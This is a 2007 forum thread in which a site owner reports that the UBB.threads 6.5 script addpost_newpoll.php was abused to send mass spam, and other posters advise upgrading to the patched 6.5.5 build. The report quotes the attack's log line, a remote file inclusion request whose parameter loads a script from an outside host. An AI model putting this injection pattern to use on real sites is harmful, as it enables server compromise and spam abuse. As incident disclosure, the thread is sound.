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#194771 - 08/21/07 04:34 AM extreme security bug used to send ou 100.000s of spam emails
wnedoe Offline
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Registered: 08/21/07
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I use version 6.5

My provider informed me that the UBBT script addpost_newpoll.php
was used to send ou more than 100.000 spam emails and nearly cancelled my contract.

It seems that this is a well known bug at least to spammers as they had even programmed a complete USER INTERFACE for sending spam with UBBt and so probably millions of spam emails are sent out each day with he help of ubbt.

The way this script is/was abused

/forum//addpost_newpoll.php?addpoll=preview&thispath=http://geocities.com/uza_mere/uza.txt? HTTP/1.1" 200

(the abuse script has gone at this place but is probably to be found at a lot of places elsewhere
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#194772 - 08/21/07 05:19 AM Re: extreme security bug used to send ou 100.000s of spam emails [Re: wnedoe]
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Registered: 06/05/06
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Loc: Portland, OR; USA
Are you running 6.5? If so, security issues are well known in builds prior to 6.5.5, you should consider upgrading.
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#194779 - 08/21/07 10:55 AM Re: extreme security bug used to send ou 100.000s of spam emails [Re: Gizmo]
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Registered: 06/04/06
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Yes, we sent out an email to all of our customers when we were made aware of this and had a patch out to fix it. You should definitely at least upgrade to 6.5.5 at the minimum.
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